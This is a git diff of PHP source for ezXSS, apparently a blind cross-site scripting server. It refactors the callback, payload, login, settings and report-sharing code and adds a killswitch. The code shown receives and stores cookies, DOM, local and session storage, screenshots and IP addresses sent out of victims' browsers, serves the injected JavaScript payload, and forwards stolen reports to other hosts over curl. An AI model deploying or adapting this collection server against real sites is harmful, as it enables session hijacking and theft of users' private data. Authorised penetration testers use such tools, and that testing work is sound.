':referer' => $json->referrer, ':uri' => $json->uri, ':userAgent' => $json->{'user-agent'}, ':ip' => $userIp]); - - if(isset($searchCommonReport['id'])) { - if($setting['filter-save'] == 0 && $setting['filter-alert'] == 0) { - return 'github.com/ssl/ezXSS'; - } else { - $doubleReport = true; - } + * Check if template request is valid and return, else redirect + * @method template + * @param string $file Requested file link + * @return string HTML for page + */ + public function template($file) + { + if (!in_array($file, $this->validTemplates) || $file == '') { + return $this->redirect('login'); } - } - if($setting['dompart'] > 0 && strlen($json->dom) > $setting['dompart']) { - $domExtra = ' View full dom on the report page or change this setting on /settings'; - } else { - $domExtra = ''; - } - - if(($doubleReport && ($setting['filter-save'] == 1 || $setting['filter-alert'] == 1)) || (!$doubleReport)) { - if(!empty($json->screenshot)) { - $screenshot = base64_decode(preg_replace('#^data:image/\w+;base64,#i', '', $json->screenshot)); - $screenshotName = time() . md5($json->uri . time() . bin2hex(openssl_random_pseudo_bytes(16))) . bin2hex(openssl_random_pseudo_bytes(5)); - $saveImage = fopen(__DIR__ . "/../assets/img/report-{$screenshotName}.png",'w'); - fwrite($saveImage, $screenshot); - fclose($saveImage); + if ($file == 'report' && isset(explode('/', $_SERVER['REQUEST_URI'])[4])) { + return $this->redirect('reports'); } - $shareId = sha1(bin2hex(openssl_random_pseudo_bytes(32)) . time()); - $reportId = $this->database->lastInsertId('INSERT INTO reports (`shareid`, `cookies`, `dom`, `origin`, `referer`, `uri`, `user-agent`, `ip`, `time`, `screenshot`, `localstorage`, `sessionstorage`) VALUES (:shareid, :cookies, :dom, :origin, :referer, :uri, :userAgent, :ip, :time, :screenshot, :localstorage, :sessionstorage)', - ['shareid' => $shareId, ':cookies' => $json->cookies, ':dom' => $json->dom, ':origin' => $json->origin, ':referer' => $json->referrer, ':uri' => $json->uri, ':userAgent' => $json->{'user-agent'}, ':ip' => $userIp, ':time' => time(), ':screenshot' => ((isset($screenshotName)) ? $screenshotName : ''), ':localstorage' => json_encode($json->localstorage), ':sessionstorage' => json_encode($json->sessionstorage)]); + if ($this->user->isLoggedIn() && ($file == 'login' || $file == 'install')) { + return $this->redirect('dashboard'); + } - if(($doubleReport && $setting['filter-alert'] == 1) || (!$doubleReport)) { - if(!empty($json->screenshot)) { - $json->screenshot = $this->basic->screenshotPath($screenshotName); - } + if (!$this->user->isLoggedIn() && $file != 'login' && $file != 'install' && $file != 'report') { + return $this->redirect('login'); + } - $htmlTemplate = str_replace( - ['{{id}}', '{{domain}}', '{{url}}', '{{ip}}', '{{referer}}', '{{user-agent}}', '{{cookies}}', '{{localstorage}}', '{{sessionstorage}}', '{{dom}}', '{{origin}}', '{{time}}', '{{screenshot}}'], - [$reportId, htmlspecialchars($domain), htmlspecialchars($json->uri), htmlspecialchars($userIp), htmlspecialchars($json->referrer), htmlspecialchars($json->{'user-agent'}), htmlspecialchars($json->cookies), htmlspecialchars(json_encode($json->localstorage)), htmlspecialchars(json_encode($json->sessionstorage)), htmlspecialchars(substr($json->dom, 0, $setting['dompart'])) . $domExtra, htmlspecialchars($json->origin), date('F j Y, g:i a'), $json->screenshot], - $this->basic->htmlBlocks('mail') - ); + if ($file == 'report' && ((is_numeric(explode('/', $_SERVER['REQUEST_URI'])[3]) && !$this->user->isLoggedIn( + )) || empty(explode('/', $_SERVER['REQUEST_URI'])[3]))) { + return $this->redirect('login'); + } - $headers[] = 'From: ezXSS'; - $headers[] = 'MIME-Version: 1.0'; - $headers[] = 'Content-type: text/html; charset=iso-8859-1'; - mail($setting['email'], '[ezXSS] XSS on ' . htmlspecialchars($json->uri), $htmlTemplate, implode("\r\n", $headers)); + if (!$this->database->rowCount('SELECT * FROM settings') > 0 && $file != 'install') { + return $this->redirect('install'); } - } - return 'github.com/ssl/ezXSS'; + if ($this->database->rowCount('SELECT * FROM settings') > 0 && $file == 'install') { + return $this->redirect('login'); + } + return $this->parseTemplate($file); } /** - * Return javascript payload code with custom JS - * @method jsPayload - * @return string Javascript payload code - */ - public function jsPayload() { - if(!$this->database->rowCount('SELECT * FROM settings') > 0) { - return $this->redirect('install'); - } - - return str_replace( - ['{{domain}}', '{{screenshot}}', '{{customjs}}'], - [$this->basic->domain(), (($this->database->fetchSetting('screenshot')) ? $this->getFile('screenshot', 'js') : ''), $this->database->fetchSetting('customjs')], - $this->getFile('payload', 'js') - ); + * Redirect browser to link + * @method redirect + * @param string $page Page link to redirect to + */ + private function redirect($page) + { + $_SESSION['redirect'] = $_SERVER['REQUEST_URI']; + header("Location: /manage/{$page}"); } /** - * Parse values from template - * @method parseTemplate - * @param string $file Requested file link - * @return string HTML for page - */ - private function parseTemplate($file) { - $html = str_replace( - ['{{template}}', '{{menu}}', '{{title}}'], - [$this->getFile($file), ($this->user->isLoggedIn()) ? $this->basic->htmlBlocks('menu') : $this->basic->htmlBlocks('menuHidden'), ucwords($file)], - $this->basic->htmlBlocks('main') - ); - - preg_match_all('/{{(.*?)\[(.*?)\]}}/', $html, $matches); - foreach($matches[1] as $key => $value) { + * Parse values from template + * @method parseTemplate + * @param string $file Requested file link + * @return string HTML for page + */ + private function parseTemplate($file) + { $html = str_replace( - $matches[0][$key], - $this->component->$value("{$matches[2][$key]}"), - $html + ['{{template}}', '{{menu}}', '{{title}}', '{{version}}'], + [ + $this->getFile($file), + ($this->user->isLoggedIn()) ? $this->basic->htmlBlocks('menu') : $this->basic->htmlBlocks('menuHidden'), + ucwords($file), + version + ], + $this->basic->htmlBlocks('main') ); - } - return $html; + preg_match_all('/{{(.*?)\[(.*?)\]}}/', $html, $matches); + foreach ($matches[1] as $key => $value) { + $html = str_replace( + $matches[0][$key], + $this->component->$value("{$matches[2][$key]}"), + $html + ); + } + return $html; } /** - * Return html of provided template - * @method parseTemplate - * @param string $file Requested template - * @return string HTML of template - */ - private function getFile($file, $extension = 'html') { - return file_get_contents(__DIR__ . "/../templates/{$file}.{$extension}"); + * Return html of provided template + * @method parseTemplate + * @param string $file Requested template + * @return string HTML of template + */ + private function getFile($file, $extension = 'html') + { + return file_get_contents(__DIR__ . "/../templates/{$file}.{$extension}"); } /** - * Redirect browser to link - * @method redirect - * @param string $page Page link to redirect to - */ - private function redirect($page) { - $_SESSION['redirect'] = $_SERVER['REQUEST_URI']; - header("Location: /manage/{$page}"); + * Puts callback info in database and sends out mail + * @method callback + * @param string $phpInput POST information + * @return string github.com/ssl/ezXSS + */ + public function callback($phpInput) + { + $json = json_decode($phpInput); + + $setting = []; + foreach ($this->database->query('SELECT * FROM settings') as $settings) { + $setting[$settings['setting']] = $settings['value']; + } + + $userIp = isset($json->shared) ? $json->ip : (isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR']); + $domain = htmlspecialchars($_SERVER['SERVER_NAME']); + $json->origin = str_replace(['https://', 'http://'], '', $json->origin); + + if ($json->origin == $setting['blocked-domains'] || in_array( + $json->origin, + explode(',', $setting['blocked-domains']) + )) { + return 'github.com/ssl/ezXSS'; + } + + $doubleReport = false; + if ($setting['filter-save'] == 0 || $setting['filter-alert'] == 0) { + $searchCommonReport = $this->database->fetch( + 'SELECT * FROM reports WHERE cookies = :cookies AND dom = :dom AND origin = :origin AND referer = :referer AND uri = :uri AND `user-agent` = :userAgent AND ip = :ip LIMIT 1', + [ + ':cookies' => $json->cookies, + ':dom' => $json->dom, + ':origin' => $json->origin, + ':referer' => $json->referrer, + ':uri' => $json->uri, + ':userAgent' => $json->{'user-agent'}, + ':ip' => $userIp + ] + ); + + if (isset($searchCommonReport['id'])) { + if ($setting['filter-save'] == 0 && $setting['filter-alert'] == 0) { + return 'github.com/ssl/ezXSS'; + } else { + $doubleReport = true; + } + } + } + + if ($setting['dompart'] > 0 && strlen($json->dom) > $setting['dompart']) { + $domExtra = ' View full dom on the report page or change this setting on /settings'; + } else { + $domExtra = ''; + } + + if (($doubleReport && ($setting['filter-save'] == 1 || $setting['filter-alert'] == 1)) || (!$doubleReport)) { + if (!empty($json->screenshot)) { + $screenshot = base64_decode(preg_replace('#^data:image/\w+;base64,#i', '', $json->screenshot)); + $screenshotName = time() . md5( + $json->uri . time() . bin2hex(openssl_random_pseudo_bytes(16)) + ) . bin2hex(openssl_random_pseudo_bytes(5)); + $saveImage = fopen(__DIR__ . "/../assets/img/report-{$screenshotName}.png", 'w'); + fwrite($saveImage, $screenshot); + fclose($saveImage); + } + + $shareId = sha1(bin2hex(openssl_random_pseudo_bytes(32)) . time()); + $reportId = $this->database->lastInsertId( + 'INSERT INTO reports (`shareid`, `cookies`, `dom`, `origin`, `referer`, `uri`, `user-agent`, `ip`, `time`, `screenshot`, `localstorage`, `sessionstorage`) VALUES (:shareid, :cookies, :dom, :origin, :referer, :uri, :userAgent, :ip, :time, :screenshot, :localstorage, :sessionstorage)', + [ + 'shareid' => $shareId, + ':cookies' => $json->cookies, + ':dom' => $json->dom, + ':origin' => $json->origin, + ':referer' => $json->referrer, + ':uri' => $json->uri, + ':userAgent' => $json->{'user-agent'}, + ':ip' => $userIp, + ':time' => time(), + ':screenshot' => ((isset($screenshotName)) ? $screenshotName : ''), + ':localstorage' => json_encode($json->localstorage), + ':sessionstorage' => json_encode($json->sessionstorage) + ] + ); + + if (($doubleReport && $setting['filter-alert'] == 1) || (!$doubleReport)) { + if (!empty($json->screenshot)) { + $json->screenshot = $this->basic->screenshotPath($screenshotName); + } + + $htmlTemplate = str_replace( + [ + '{{id}}', + '{{domain}}', + '{{url}}', + '{{ip}}', + '{{referer}}', + '{{user-agent}}', + '{{cookies}}', + '{{localstorage}}', + '{{sessionstorage}}', + '{{dom}}', + '{{origin}}', + '{{time}}', + '{{screenshot}}' + ], + [ + $reportId, + htmlspecialchars($domain), + htmlspecialchars($json->uri), + htmlspecialchars($userIp), + htmlspecialchars($json->referrer), + htmlspecialchars($json->{'user-agent'}), + htmlspecialchars($json->cookies), + htmlspecialchars(json_encode($json->localstorage)), + htmlspecialchars(json_encode($json->sessionstorage)), + htmlspecialchars(substr($json->dom, 0, $setting['dompart'])) . $domExtra, + htmlspecialchars($json->origin), + date('F j Y, g:i a'), + $json->screenshot + ], + $this->basic->htmlBlocks('mail') + ); + + $headers[] = 'From: ezXSS'; + $headers[] = 'MIME-Version: 1.0'; + $headers[] = 'Content-type: text/html; charset=iso-8859-1'; + mail( + $setting['email'], + '[ezXSS] XSS on ' . htmlspecialchars($json->uri), + $htmlTemplate, + implode("\r\n", $headers) + ); + } + } + + return 'github.com/ssl/ezXSS'; } - } + /** + * Return javascript payload code with custom JS + * @method jsPayload + * @return string Javascript payload code + */ + public function jsPayload() + { + if (!$this->database->rowCount('SELECT * FROM settings') > 0) { + return $this->redirect('install'); + } + + return str_replace( + ['{{domain}}', '{{screenshot}}', '{{customjs}}', '{{version}}'], + [ + $this->basic->domain(), + (($this->database->fetchSetting('screenshot')) ? $this->getFile('screenshot', 'js') : ''), + $this->database->fetchSetting('customjs'), + version + ], + $this->getFile('payload', 'js') + ); + } +} diff --git a/src/User.php b/src/User.php index bf8c7210..49e6360a 100644 --- a/src/User.php +++ b/src/User.php @@ -1,328 +1,404 @@ database = new Database(); - $this->basic = new Basic(); - - if(!isset($_SESSION)) { - session_set_cookie_params(6000000, '/', null, false, true); - session_start(); - } + * Default values stored & session info + * @method __construct + */ + public function __construct() + { + $this->database = new Database(); + $this->basic = new Basic(); + + if (!isset($_SESSION)) { + session_set_cookie_params(6000000, '/', null, false, true); + session_start(); + } } /** - * Check if user is logged in - * @method isLoggedIn - * @return boolean If user is logged in true/false - */ - public function isLoggedIn() { - return (isset($_SESSION['login'])) ? $_SESSION['login'] : false; + * Get or create a csrf-token + * @method getCsrf + * @return string 32 character long csrf-token + */ + public function getCsrf() + { + return (!isset($_SESSION['csrfToken'])) ? $_SESSION['csrfToken'] = bin2hex( + openssl_random_pseudo_bytes(32) + ) : $_SESSION['csrfToken']; } /** - * Get or create a csrf-token - * @method getCsrf - * @return string 32 character long csrf-token - */ - public function getCsrf() { - return (!isset($_SESSION['csrfToken'])) ? $_SESSION['csrfToken'] = bin2hex(openssl_random_pseudo_bytes(32)) : $_SESSION['csrfToken']; + * Check credentials and login user + * @method install + * @param string $password Password for login + * @param string $code 2FA code + * @return string error/redirect + */ + public function login($password, $code) + { + if ($this->isLoggedIn()) { + return ['redirect' => 'dashboard']; + } + + $passwordHash = $this->database->fetch('SELECT * FROM settings WHERE setting = "password"'); + $secret = $this->database->fetch('SELECT * FROM settings WHERE setting = "secret"'); + + if (!password_verify($password, $passwordHash['value'])) { + return 'The password you entered is not valid.'; + } + + if (strlen($secret['value']) == 16 && $this->basic->getCode($secret['value']) != $code) { + return 'The code is incorrect.'; + } + + $this->createSession(); + + if (isset($_SESSION['redirect'])) { + return ['redirect' => $_SESSION['redirect']]; + unsset($_SESSION['redirect']); + } else { + return ['redirect' => 'dashboard']; + } } /** - * Set settings in session cookie - * @method createSession - */ - public function createSession() : void { - $_SESSION['login'] = true; + * Check if user is logged in + * @method isLoggedIn + * @return boolean If user is logged in true/false + */ + public function isLoggedIn() + { + return (isset($_SESSION['login'])) ? $_SESSION['login'] : false; } /** - * Check credentials and login user - * @method install - * @param string $password Password for login - * @param string $code 2FA code - * @return string error/redirect - */ - public function login($password, $code) { - if($this->isLoggedIn()) { - return ['redirect' => 'dashboard']; - } - - $passwordHash = $this->database->fetch('SELECT * FROM settings WHERE setting = "password"'); - $secret = $this->database->fetch('SELECT * FROM settings WHERE setting = "secret"'); + * Set settings in session cookie + * @method createSession + */ + public function createSession(): void + { + $_SESSION['login'] = true; + } - if (!password_verify($password, $passwordHash['value'])) { - return 'The password you entered is not valid.'; - } + /** + * Install website + * @method install + * @param string $password Password for login + * @param string $email Email for email alert + * @return string error/redirect + */ + public function install($password, $email) + { + if ($this->database->rowCount('SELECT * FROM settings') > 0) { + return 'This website is already installed.'; + } - if(strlen($secret['value']) == 16 && $this->basic->getCode($secret['value']) != $code) { - return 'The code is incorrect.'; - } + if (strlen($password) < 8) { + return 'The password needs to be atleast 8 characters long.'; + } - $this->createSession(); + if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { + return 'This is not a correct email address.'; + } - if(isset($_SESSION['redirect'])) { - return ['redirect' => $_SESSION['redirect']]; - unsset($_SESSION['redirect']); - } else { + $this->database->query( + 'CREATE TABLE IF NOT EXISTS `settings` (`id` int(11) NOT NULL AUTO_INCREMENT,`setting` varchar(500) NOT NULL,`value` text NOT NULL,PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;' + ); + $this->database->query( + 'CREATE TABLE IF NOT EXISTS `reports` (`id` int(11) NOT NULL AUTO_INCREMENT,`shareid` VARCHAR(50) NOT NULL,`cookies` text,`dom` longtext,`origin` varchar(500) DEFAULT NULL,`referer` varchar(500) DEFAULT NULL,`uri` varchar(500) DEFAULT NULL,`user-agent` varchar(500) DEFAULT NULL,`ip` varchar(50) DEFAULT NULL,`time` int(11) DEFAULT NULL,`archive` int(11) DEFAULT 0,`screenshot` LONGTEXT NULL DEFAULT NULL,`localstorage` LONGTEXT NULL DEFAULT NULL, `sessionstorage` LONGTEXT NULL DEFAULT NULL,PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=0;' + ); + $this->database->query( + 'INSERT INTO `settings` (`setting`, `value`) VALUES ("filter-save", "0"),("filter-alert", "0"),("dompart", "500"),("timezone", "Europe/Amsterdam"),("customjs", ""),("blocked-domains", ""),("notepad", "Welcome :-)"),("screenshot", "0"),("secret", ""),("killswitch", "");' + ); + $this->database->fetch( + 'INSERT INTO `settings` (`setting`, `value`) VALUES ("password", :password),("email", :email),("payload-domain", :domain);', + [ + ':password' => password_hash($password, PASSWORD_BCRYPT, ['cost' => 11]), + 'email' => $email, + ':domain' => $this->basic->domain() + ] + ); + + $this->createSession(); return ['redirect' => 'dashboard']; - } - } /** - * Install website - * @method install - * @param string $password Password for login - * @param string $email Email for email alert - * @return string error/redirect - */ - public function install($password, $email) { - if($this->database->rowCount('SELECT * FROM settings') > 0) { - return 'This website is already installed.'; - } - - if(strlen($password) < 8) { - return 'The password needs to be atleast 8 characters long.'; - } - - if(!filter_var($email, FILTER_VALIDATE_EMAIL)) { - return 'This is not a correct email address.'; - } - - $this->database->query('CREATE TABLE IF NOT EXISTS `settings` (`id` int(11) NOT NULL AUTO_INCREMENT,`setting` varchar(500) NOT NULL,`value` text NOT NULL,PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;'); - $this->database->query('CREATE TABLE IF NOT EXISTS `reports` (`id` int(11) NOT NULL AUTO_INCREMENT,`shareid` VARCHAR(50) NOT NULL,`cookies` text,`dom` longtext,`origin` varchar(500) DEFAULT NULL,`referer` varchar(500) DEFAULT NULL,`uri` varchar(500) DEFAULT NULL,`user-agent` varchar(500) DEFAULT NULL,`ip` varchar(50) DEFAULT NULL,`time` int(11) DEFAULT NULL,`archive` int(11) DEFAULT 0,`screenshot` LONGTEXT NULL DEFAULT NULL,`localstorage` LONGTEXT NULL DEFAULT NULL, `sessionstorage` LONGTEXT NULL DEFAULT NULL,PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=0;'); - $this->database->query('INSERT INTO `settings` (`setting`, `value`) VALUES ("filter-save", "0"),("filter-alert", "0"),("dompart", "500"),("timezone", "Europe/Amsterdam"),("customjs", ""),("blocked-domains", ""),("notepad", "Welcome :-)"),("screenshot", "0"),("secret", "");'); - $this->database->fetch('INSERT INTO `settings` (`setting`, `value`) VALUES ("password", :password),("email", :email),("payload-domain", :domain);', [':password' => password_hash($password, PASSWORD_BCRYPT, ['cost' => 11]), 'email' => $email, ':domain' => $this->basic->domain()]); - - $this->createSession(); - return ['redirect' => 'dashboard']; - + * Update notepad value + * @method notepad + * @param string $notepad Value of the notepad + * @return string success + */ + public function notepad($notepad) + { + $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "notepad"', [':value' => $notepad]); + return 'Your notepad is saved!'; } /** - * Update notepad value - * @method notepad - * @param string $notepad Value of the notepad - * @return string success - */ - public function notepad($notepad) { - $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "notepad"', [':value' => $notepad]); - return 'Your notepad is saved!'; - } + * Update main settings + * @method settings + * @param string $email New email for alerts + * @param string $domPart DOM Lenght for mail + * @param string $timezone Timezone for reports + * @param string $payload Payload domain used + * @return string success + */ + public function settings($email, $domPart, $timezone, $payload) + { + if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { + return 'This is not a correct email address.'; + } - /** - * Update main settings - * @method settings - * @param string $email New email for alerts - * @param string $domPart DOM Lenght for mail - * @param string $timezone Timezone for reports - * @param string $payload Payload domain used - * @return string success - */ - public function settings($email, $domPart, $timezone, $payload) { - if(!filter_var($email, FILTER_VALIDATE_EMAIL)) { - return 'This is not a correct email address.'; - } - - if(!is_int((int)$domPart)) { - return 'The dom lenght needs to be a int number.'; - } - - if(!in_array($timezone, timezone_identifiers_list())) { - return 'The timezone is not a valid timezone.'; - } - - $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "email"', [':value' => $email]); - $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "dompart"', [':value' => (int)$domPart]); - $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "timezone"', [':value' => $timezone]); - $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "payload-domain"', [':value' => $payload]); - $this->createSession(); - return 'Your new settings are saved!'; + if (!is_int((int)$domPart)) { + return 'The dom lenght needs to be a int number.'; + } + + if (!in_array($timezone, timezone_identifiers_list())) { + return 'The timezone is not a valid timezone.'; + } + $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "email"', [':value' => $email]); + $this->database->fetch( + 'UPDATE settings SET value = :value WHERE setting = "dompart"', + [':value' => (int)$domPart] + ); + $this->database->fetch( + 'UPDATE settings SET value = :value WHERE setting = "timezone"', + [':value' => $timezone] + ); + $this->database->fetch( + 'UPDATE settings SET value = :value WHERE setting = "payload-domain"', + [':value' => $payload] + ); + $this->createSession(); + return 'Your new settings are saved!'; } /** - * Update password - * @method password - * @param string $password Current password - * @param string $newPassword New password - * @param string $newPassword2 New password retyped - * @return string success - */ - public function password($password, $newPassword, $newPassword2) { - $currentPassword = $this->database->fetch('SELECT * FROM settings WHERE setting = "password" LIMIT 1'); - - if(!password_verify($password, $currentPassword['value'])) { - return 'Current password is not correct.'; - } - - if(strlen($newPassword) < 8) { - return 'The new password needs to be atleast 8 characters long.'; - } + * Update password + * @method password + * @param string $password Current password + * @param string $newPassword New password + * @param string $newPassword2 New password retyped + * @return string success + */ + public function password($password, $newPassword, $newPassword2) + { + $currentPassword = $this->database->fetch('SELECT * FROM settings WHERE setting = "password" LIMIT 1'); + + if (!password_verify($password, $currentPassword['value'])) { + return 'Current password is not correct.'; + } - if($newPassword != $newPassword2) { - return 'The retypted password is not the same as the new password.'; - } + if (strlen($newPassword) < 8) { + return 'The new password needs to be atleast 8 characters long.'; + } - $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "password"', [':value' => password_hash($newPassword, PASSWORD_BCRYPT, ['cost' => 11])]); - $this->createSession(); + if ($newPassword != $newPassword2) { + return 'The retypted password is not the same as the new password.'; + } - return 'Your new password is saved!'; + $this->database->fetch( + 'UPDATE settings SET value = :value WHERE setting = "password"', + [':value' => password_hash($newPassword, PASSWORD_BCRYPT, ['cost' => 11])] + ); + $this->createSession(); + return 'Your new password is saved!'; } /** - * Update filter values - * @method filter - * @param string $i Filter combination id - * @return string success - */ - public function filter($id) { - switch($id) { - case 1 : $filterSave = 1; $filterAlert = 1; break; - case 2 : $filterSave = 1; $filterAlert = 0; break; - case 3 : $filterSave = 0; $filterAlert = 1; break; - case 4 : $filterSave = 0; $filterAlert = 0; break; - default : $filterSave = 0; $filterAlert = 0; break; - } - - $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "filter-save"', [':value' => $filterSave]); - $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "filter-alert"', [':value' => $filterAlert]); - return 'Your new filter options are saved!'; + * Update filter values + * @method filter + * @param string $id Filter combination id + * @return string success + */ + public function filter($id) + { + switch ($id) { + case 1 : + $filterSave = 1; + $filterAlert = 1; + break; + case 2 : + $filterSave = 1; + $filterAlert = 0; + break; + case 3 : + $filterSave = 0; + $filterAlert = 1; + break; + case 4 : + $filterSave = 0; + $filterAlert = 0; + break; + default : + $filterSave = 0; + $filterAlert = 0; + break; + } + + $this->database->fetch( + 'UPDATE settings SET value = :value WHERE setting = "filter-save"', + [':value' => $filterSave] + ); + $this->database->fetch( + 'UPDATE settings SET value = :value WHERE setting = "filter-alert"', + [':value' => $filterAlert] + ); + return 'Your new filter options are saved!'; } /** - * Update screenshot value - * @method screenshot - * @param string $id Filter combination id - * @return string success - */ - public function screenshot($value) { - $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "screenshot"', [':value' => $value]); - return 'Your new screenshot options are saved!'; + * Update screenshot value + * @method screenshot + * @param string $id Filter combination id + * @return string success + */ + public function screenshot($value) + { + $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "screenshot"', [':value' => $value]); + return 'Your new screenshot options are saved!'; } /** - * Update blocked domains - * @method blockDomains - * @param string $domains List of domains - * @return string success - */ - public function blockDomains($domains) { - $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "blocked-domains"', [':value' => $domains]); - return 'Your new settings are saved!'; + * Update blocked domains + * @method blockDomains + * @param string $domains List of domains + * @return string success + */ + public function blockDomains($domains) + { + $this->database->fetch( + 'UPDATE settings SET value = :value WHERE setting = "blocked-domains"', + [':value' => $domains] + ); + return 'Your new settings are saved!'; } /** - * Update custom payload - * @method payload - * @param string $customjs Custom created javascript code - * @return string success - */ - public function payload($customjs) { - $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "customjs"', [':value' => $customjs]); - return 'Your new settings are saved!'; + * Update custom payload + * @method payload + * @param string $customjs Custom created javascript code + * @return string success + */ + public function payload($customjs) + { + $this->database->fetch( + 'UPDATE settings SET value = :value WHERE setting = "customjs"', + [':value' => $customjs] + ); + return 'Your new settings are saved!'; } /** - * Update twofactor settings - * @method twofactor - * @param string $secret generated secret code - * @param string $code 6 digit 2fa code - * @return string success - */ - public function twofactor($secret, $code) { - $secretCode = $this->database->fetch('SELECT * FROM settings WHERE setting = "secret"'); - - if(strlen($secret) == 16) { - if(strlen($secretCode['value']) == 16) { - return '2FA settings are already enabled.'; - } - - if(strlen($secret) != 16) { - return 'Secret length needs to be 16 characters long'; - } - - if($this->basic->getCode($secret) != $code) { - return 'Code is incorrect.'; - } - } else { - if(strlen($secretCode['value']) != 16) { - return '2FA settings are already disabled.'; - } - - if($this->basic->getCode($secretCode['value']) != $code) { - return 'Code is incorrect.'; + * Update twofactor settings + * @method twofactor + * @param string $secret generated secret code + * @param string $code 6 digit 2fa code + * @return string success + */ + public function twofactor($secret, $code) + { + $secretCode = $this->database->fetch('SELECT * FROM settings WHERE setting = "secret"'); + + if (strlen($secret) == 16) { + if (strlen($secretCode['value']) == 16) { + return '2FA settings are already enabled.'; + } + + if (strlen($secret) != 16) { + return 'Secret length needs to be 16 characters long'; + } + + if ($this->basic->getCode($secret) != $code) { + return 'Code is incorrect.'; + } + } else { + if (strlen($secretCode['value']) != 16) { + return '2FA settings are already disabled.'; + } + + if ($this->basic->getCode($secretCode['value']) != $code) { + return 'Code is incorrect.'; + } + + $secret = 0; } - $secret = 0; - } - - $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "secret"', [':value' => $secret]); - return 'Your new 2FA settings are saved!'; + $this->database->fetch('UPDATE settings SET value = :value WHERE setting = "secret"', [':value' => $secret]); + return 'Your new 2FA settings are saved!'; } /** - * Update archive status - * @method archiveReport - * @param string $id report id - * @param string $archive either 1 of 0 - * @return string success - */ - public function archiveReport($id, $archive) { - $this->database->fetch('UPDATE reports SET archive = :archive WHERE id = :id', [':id' => $id, 'archive' => $archive]); - return 'Report is archived!'; + * Update archive status + * @method archiveReport + * @param string $id report id + * @param string $archive either 1 of 0 + * @return string success + */ + public function archiveReport($id, $archive) + { + $this->database->fetch( + 'UPDATE reports SET archive = :archive WHERE id = :id', + [':id' => $id, 'archive' => $archive] + ); + return 'Report is archived!'; } /** - * Delete report - * @method deleteReport - * @param string $id report id - * @return string success - */ - public function deleteReport($id) { - $report = $this->database->fetch('SELECT * FROM reports WHERE id = :id', [':id' => $id]); - unlink(__DIR__ . '/../assets/img/report-' . $report['screenshot'] . '.png'); - - $this->database->fetch('DELETE FROM reports WHERE id = :id', [':id' => $id]); - return 'Report is deleted!'; + * Delete report + * @method deleteReport + * @param string $id report id + * @return string success + */ + public function deleteReport($id) + { + $report = $this->database->fetch('SELECT * FROM reports WHERE id = :id', [':id' => $id]); + unlink(__DIR__ . '/../assets/img/report-' . $report['screenshot'] . '.png'); + + $this->database->fetch('DELETE FROM reports WHERE id = :id', [':id' => $id]); + return 'Report is deleted!'; } /** - * Share report - * @method shareReport - * @param string $id report id - * @param string $domain domain to share with - * @return string success - */ - public function shareReport($id, $domain) { - $report = $this->database->fetch('SELECT * FROM reports WHERE id = :id LIMIT 1', [':id' => $id]); - - if(!isset($report['id'])) { - return 'This report does not exists.'; - } - - $report['referrer'] = !empty($report['referer']) ? 'Shared via ' . $_SERVER['SERVER_NAME'] . ' - '. $report['referer'] : 'Shared via ' . $_SERVER['SERVER_NAME']; - $report['shared'] = true; - - $cb = curl_init((parse_url($domain, PHP_URL_SCHEME) ? '' : 'https://') . $domain . '/callback'); - curl_setopt($cb, CURLOPT_CUSTOMREQUEST, 'POST'); - curl_setopt($cb, CURLOPT_POSTFIELDS, json_encode($report)); - curl_setopt($cb, CURLOPT_RETURNTRANSFER, true); - curl_setopt($cb, CURLOPT_HTTPHEADER, ['Content-Type: application/json']); - $result = curl_exec($cb); - - if($result != 'github.com/ssl/ezXSS') { - return 'Unable to find a valid ezXSS installation. Please check the domain.'; - } - - return 'Report is successfully shared!'; + * Share report + * @method shareReport + * @param string $id report id + * @param string $domain domain to share with + * @return string success + */ + public function shareReport($id, $domain) + { + $report = $this->database->fetch('SELECT * FROM reports WHERE id = :id LIMIT 1', [':id' => $id]); + + if (!isset($report['id'])) { + return 'This report does not exists.'; + } + + $report['referrer'] = !empty($report['referer']) ? 'Shared via ' . $_SERVER['SERVER_NAME'] . ' - ' . $report['referer'] : 'Shared via ' . $_SERVER['SERVER_NAME']; + $report['shared'] = true; + + $cb = curl_init((parse_url($domain, PHP_URL_SCHEME) ? '' : 'https://') . $domain . '/callback'); + curl_setopt($cb, CURLOPT_CUSTOMREQUEST, 'POST'); + curl_setopt($cb, CURLOPT_POSTFIELDS, json_encode($report)); + curl_setopt($cb, CURLOPT_RETURNTRANSFER, true); + curl_setopt($cb, CURLOPT_HTTPHEADER, ['Content-Type: application/json']); + $result = curl_exec($cb); + + if ($result != 'github.com/ssl/ezXSS') { + return 'Unable to find a valid ezXSS installation. Please check the domain.'; + } + + return 'Report is successfully shared!'; + } + + public function killSwitch($pass) { + $this->database->fetch("UPDATE settings SET value = :pass WHERE setting = 'killswitch';", [':pass' => $pass]); + return 'Killed setup'; } - } +} diff --git a/templates/dashboard.html b/templates/dashboard.html index e034a980..b9f8b565 100644 --- a/templates/dashboard.html +++ b/templates/dashboard.html @@ -83,7 +83,7 @@

{{statistics[totalshared]}}

- +
